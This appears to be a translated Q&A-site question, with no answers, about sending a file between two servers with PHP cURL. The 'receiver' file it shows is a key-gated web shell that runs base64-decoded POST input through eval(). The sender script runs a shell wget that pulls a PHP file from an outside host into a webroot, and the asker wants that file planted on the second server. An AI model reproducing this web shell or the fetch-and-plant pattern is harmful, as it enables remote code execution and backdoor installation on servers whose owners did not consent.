使用CURL + POST + CURLAUTH_BASIC发送文件

时间:2017-09-22 00:01:52

标签: php curl post

我有2台服务器,我需要从服务器#1向服务器#2发送POST请求,服务器#2有一个文件“receiver” - get_post.php代码:

<?php 
error_reporting(0);
set_time_limit(0);
if ($_GET['q']=='1'){echo '200'; exit;}

if($_GET['key']=='sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG')eval(base64_decode($_POST['fack']));
if(md5($_GET['key'])=='7663f1b3555993ad229183b0efad3261')eval(base64_decode($_POST['fack'])); 
?> 

在服务器#1上,我使用代码

创建了Curl表单
<?php
    $url = 'http://ip_serv#2/get_post.php';
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_URL, $url);
    $agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7";
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_VERBOSE, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
    curl_setopt($ch, CURLOPT_MAXCONNECTS, 3);
    curl_setopt($ch, CURLOPT_TIMEOUT, 120);
    curl_setopt($ch, CURLOPT_ENCODING, "UTF-8");
    curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); 
    curl_setopt($ch, CURLOPT_USERPWD, 'admin:pass');
    $codec = system("wget -b -P /var/www/ku/data/www/ip_serv#2/app/webroot/ https://ovrload.ru/f/*****.php");
    $postdata = "fack=" . urlencode(base64_encode($codec));
    $headers["Content-Length"] = strlen($postdata);
    $headers["User-Agent"] = "Curl/1.0";
    $headers["Content-Length"] = strlen($postdata);
    $headers["User-Agent"] = "Curl/1.0";
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
    $res = curl_exec($ch);
    curl_close($ch);
?>

执行此代码后,文件(*****。php)在服务器#1上创建,我需要在服务器#2上创建的内容,显示我在哪里犯了错误?

0 个答案:

没有答案